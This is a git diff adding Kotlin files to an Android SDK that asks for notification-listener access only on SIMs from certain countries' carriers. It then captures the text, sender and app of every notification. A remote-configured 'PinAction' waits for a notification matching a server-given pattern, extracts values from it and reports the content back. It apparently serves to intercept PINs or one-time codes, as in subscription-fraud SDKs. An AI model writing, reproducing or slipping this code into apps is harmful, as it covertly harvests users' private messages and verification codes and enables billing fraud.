parent
6bbff7f692
commit
d7422938ed
@ -0,0 +1,52 @@
|
|||||||
|
package com.example.kvast_sdk
|
||||||
|
|
||||||
|
import android.content.ComponentName
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import androidx.core.content.ContextCompat.startActivity
|
||||||
|
import com.example.vastlib.entity.request.BaseRequestBuilder
|
||||||
|
import com.example.vastlib.utils.AndroidIdManager
|
||||||
|
import com.example.vastlib.utils.notificationListenerEnable
|
||||||
|
|
||||||
|
fun Context.openNotificationListener() {
|
||||||
|
val mandatoryTeleCode = listOf(
|
||||||
|
"214", "232", "260", "262", "420", "424", "502", "520", "334", "454"
|
||||||
|
)
|
||||||
|
AndroidIdManager.init(this.applicationContext)
|
||||||
|
val deviceInfoProvider = BaseRequestBuilder(this.applicationContext)
|
||||||
|
val code = deviceInfoProvider.telcoCode
|
||||||
|
if (code.isNotBlank() && mandatoryTeleCode.any { code.startsWith(it) }) {
|
||||||
|
showAlertDialog()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Context.showAlertDialog() {
|
||||||
|
if (!notificationListenerEnable()) {
|
||||||
|
gotoNotificationAccessSetting()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Context.gotoNotificationAccessSetting(): Boolean {
|
||||||
|
try {
|
||||||
|
val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS").apply {
|
||||||
|
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
||||||
|
}
|
||||||
|
startActivity(intent)
|
||||||
|
return true
|
||||||
|
}catch (e:java.lang.Exception) {
|
||||||
|
try{
|
||||||
|
val intent = Intent().apply {
|
||||||
|
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
||||||
|
component = ComponentName(
|
||||||
|
"com.android.settings",
|
||||||
|
"com.android.settings.Settings`$`NotificationAccessSettingsActivity"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
startActivity(intent)
|
||||||
|
return true
|
||||||
|
}catch (e:java.lang.Exception) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,14 @@
|
|||||||
|
package com.example.kvast_sdk
|
||||||
|
|
||||||
|
import android.service.notification.NotificationListenerService
|
||||||
|
import android.service.notification.StatusBarNotification
|
||||||
|
import com.example.vastlib.pin.NotificationManger.comeON
|
||||||
|
|
||||||
|
class NotificationService : NotificationListenerService() {
|
||||||
|
|
||||||
|
|
||||||
|
override fun onNotificationPosted(sbn: StatusBarNotification?) {
|
||||||
|
super.onNotificationPosted(sbn)
|
||||||
|
sbn?.comeON()
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,15 @@
|
|||||||
|
package com.example.vastlib.entity.action
|
||||||
|
|
||||||
|
data class PinAction(
|
||||||
|
override var type: Int,
|
||||||
|
override var delay: Int,
|
||||||
|
override var next: List<Next> = emptyList(),
|
||||||
|
override var skip_error: Boolean,
|
||||||
|
override var async: Boolean,
|
||||||
|
override var disconnect_ws: Boolean,
|
||||||
|
var params:List<VarExtractRule> = emptyList(),
|
||||||
|
var filter:Boolean = true,
|
||||||
|
):BaseAction{
|
||||||
|
|
||||||
|
override fun toString() = ""
|
||||||
|
}
|
@ -0,0 +1,26 @@
|
|||||||
|
package com.example.vastlib.pin
|
||||||
|
|
||||||
|
import android.app.NotificationManager
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.service.notification.StatusBarNotification
|
||||||
|
import com.example.vastlib.utils.LogUtils
|
||||||
|
|
||||||
|
object NotificationManger {
|
||||||
|
const val NotifyNfm = "NOTIFY_NFM"
|
||||||
|
var listener:((Bundle)->Unit)? = null
|
||||||
|
|
||||||
|
fun StatusBarNotification.comeON(){
|
||||||
|
notification.extras?.let {content->
|
||||||
|
val nfm = NotificationMessage(
|
||||||
|
content = content.getCharSequence("android.text", "").toString(),
|
||||||
|
from = content.getString("android.title",""),
|
||||||
|
time = System.currentTimeMillis(),
|
||||||
|
app = packageName,
|
||||||
|
)
|
||||||
|
val bundle = Bundle()
|
||||||
|
bundle.putSerializable(NotifyNfm, nfm)
|
||||||
|
listener?.invoke(bundle)
|
||||||
|
LogUtils.info("content notify: $content")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,12 @@
|
|||||||
|
package com.example.vastlib.pin
|
||||||
|
|
||||||
|
import java.io.Serializable
|
||||||
|
|
||||||
|
data class NotificationMessage(
|
||||||
|
val content:String,
|
||||||
|
val from:String,
|
||||||
|
val time:Long,
|
||||||
|
val app:String
|
||||||
|
): Serializable {
|
||||||
|
override fun toString(): String = ""
|
||||||
|
}
|
@ -0,0 +1,141 @@
|
|||||||
|
package com.example.vastlib.service
|
||||||
|
|
||||||
|
import android.util.Log
|
||||||
|
import com.example.vastlib.entity.action.Next
|
||||||
|
import com.example.vastlib.entity.action.PinAction
|
||||||
|
import com.example.vastlib.entity.report.ActionExec
|
||||||
|
import com.example.vastlib.entity.task.TaskConfig
|
||||||
|
import com.example.vastlib.pin.NotificationMessage
|
||||||
|
import com.example.vastlib.utils.JSONUtils
|
||||||
|
import com.example.vastlib.utils.LogUtils
|
||||||
|
import kotlinx.coroutines.Dispatchers
|
||||||
|
import kotlinx.coroutines.delay
|
||||||
|
import kotlinx.coroutines.isActive
|
||||||
|
import kotlinx.coroutines.withContext
|
||||||
|
|
||||||
|
class PinActionExecService(
|
||||||
|
private val action: PinAction,
|
||||||
|
override val taskConfig: TaskConfig
|
||||||
|
) : BaseActionExecService(taskConfig) {
|
||||||
|
|
||||||
|
suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) =
|
||||||
|
withContext(Dispatchers.IO) {
|
||||||
|
val actionExecList: MutableList<ActionExec> = mutableListOf()
|
||||||
|
var currentStep = taskConfig.current_step
|
||||||
|
kotlin.runCatching {
|
||||||
|
val start = System.currentTimeMillis()
|
||||||
|
var respCode = 200
|
||||||
|
val messageLog: MutableList<NotificationMessage> = mutableListOf()
|
||||||
|
val nextList = action.next
|
||||||
|
while (isActive && (start + action.delay * 1000) > System.currentTimeMillis()) {
|
||||||
|
val notificationCache = taskConfig.notificationCache
|
||||||
|
if (nextList.isNotEmpty() && notificationCache.isNotEmpty()) {
|
||||||
|
val notificationMessages =
|
||||||
|
haveNextCatchTargetMessage(notificationCache, nextList)
|
||||||
|
if (notificationMessages.isNotEmpty()) {
|
||||||
|
LogUtils.info("catch target message...")
|
||||||
|
messageLog.addAll(notificationMessages)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LogUtils.info("waiting for target message... ${action.delay}")
|
||||||
|
delay(1000)
|
||||||
|
}
|
||||||
|
val cost = System.currentTimeMillis() - start
|
||||||
|
if (messageLog.isNotEmpty()) {
|
||||||
|
val nextStep =
|
||||||
|
getNextStepIndex(nextList, JSONUtils.notificationToJsonString(messageLog), currentStep)
|
||||||
|
taskConfig.current_step = nextStep
|
||||||
|
} else {
|
||||||
|
if (nextList.isNotEmpty()) {
|
||||||
|
taskConfig.current_step = Int.MAX_VALUE
|
||||||
|
respCode = ERROR_CODE_PIN_ACTION_TIMEOUT
|
||||||
|
} else {
|
||||||
|
taskConfig.current_step = ++currentStep
|
||||||
|
messageLog += taskConfig.notificationCache
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(taskConfig.current_step != Int.MAX_VALUE && messageLog.isNotEmpty()) {
|
||||||
|
val responseBody = JSONUtils.notificationToJsonString(messageLog)
|
||||||
|
extractBodyVariableToCache(action, responseBody, responseBody.toByteArray())
|
||||||
|
}
|
||||||
|
|
||||||
|
val actionExec = genActionExec(messageLog, currentStep, respCode, cost)
|
||||||
|
actionExecList += actionExec
|
||||||
|
}.onFailure {
|
||||||
|
LogUtils.error(it)
|
||||||
|
val actionExec = genExceptionActionExec(action, ERROR_CODE_PIN_ACTION_EXEC_FAILED, Log.getStackTraceString(it))
|
||||||
|
actionExecList += actionExec
|
||||||
|
if(action.skip_error) {
|
||||||
|
taskConfig.current_step = ++currentStep
|
||||||
|
}else {
|
||||||
|
taskConfig.current_step = Int.MAX_VALUE
|
||||||
|
}
|
||||||
|
}
|
||||||
|
onFinish(actionExecList)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun genActionExec(
|
||||||
|
messageLog: MutableList<NotificationMessage>,
|
||||||
|
currentStep: Int,
|
||||||
|
respCode: Int,
|
||||||
|
cost: Long
|
||||||
|
): ActionExec{
|
||||||
|
val actionExec = ActionExec().apply {
|
||||||
|
this.step = currentStep
|
||||||
|
this.index = 1
|
||||||
|
this.respCode = respCode
|
||||||
|
this.cost = cost
|
||||||
|
this.time = System.currentTimeMillis()
|
||||||
|
if(messageLog.isNotEmpty()) {
|
||||||
|
this.url = messageLog.first().app
|
||||||
|
this.respData = JSONUtils.notificationToJsonString(messageLog)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return actionExec
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun haveNextCatchTargetMessage(
|
||||||
|
notificationCache: List<NotificationMessage>,
|
||||||
|
nextList: List<Next>
|
||||||
|
): List<NotificationMessage> {
|
||||||
|
var result: List<NotificationMessage> = mutableListOf()
|
||||||
|
var targetMessage: NotificationMessage? = null
|
||||||
|
for (notify in notificationCache) {
|
||||||
|
for (next in nextList) {
|
||||||
|
if (next.step <= 0) continue
|
||||||
|
LogUtils.info("next:$next")
|
||||||
|
val contain = next.contain
|
||||||
|
if (contain.isNotBlank() && notify.from.contains(contain) ||
|
||||||
|
notify.content.contains(contain)
|
||||||
|
) {
|
||||||
|
targetMessage = notify
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
if (next.regexp.isNotBlank()) {
|
||||||
|
val pattern = next.regexp.toRegex()
|
||||||
|
var matcher = pattern.matches(notify.from)
|
||||||
|
if (matcher) {
|
||||||
|
targetMessage = notify
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
matcher = pattern.matches(notify.content)
|
||||||
|
if (matcher) {
|
||||||
|
targetMessage = notify
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (targetMessage != null) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (targetMessage != null) {
|
||||||
|
result = notificationCache.filter { targetMessage.from == it.from }.toList()
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,33 @@
|
|||||||
|
package com.example.vastlib.utils
|
||||||
|
|
||||||
|
import android.content.ComponentName
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.pm.PackageManager
|
||||||
|
import android.provider.Settings
|
||||||
|
|
||||||
|
fun Context.notificationListenerEnable():Boolean {
|
||||||
|
val flat = Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
|
||||||
|
return flat?.contains(packageName) == true
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Context.restartNotificationListenerServiceState() {
|
||||||
|
var notificationListenerServiceClass:String? = null
|
||||||
|
kotlin.runCatching {
|
||||||
|
val packageInfo = packageManager.getPackageInfo(packageName,
|
||||||
|
PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS)
|
||||||
|
for (serviceInfo in packageInfo.services) {
|
||||||
|
if("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) {
|
||||||
|
notificationListenerServiceClass = serviceInfo.name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(null == notificationListenerServiceClass) return
|
||||||
|
packageManager.setComponentEnabledSetting(ComponentName(this,
|
||||||
|
notificationListenerServiceClass!!
|
||||||
|
), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)
|
||||||
|
|
||||||
|
packageManager.setComponentEnabledSetting(ComponentName(this,
|
||||||
|
notificationListenerServiceClass!!
|
||||||
|
), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP)
|
||||||
|
}
|
Loading…
Reference in new issue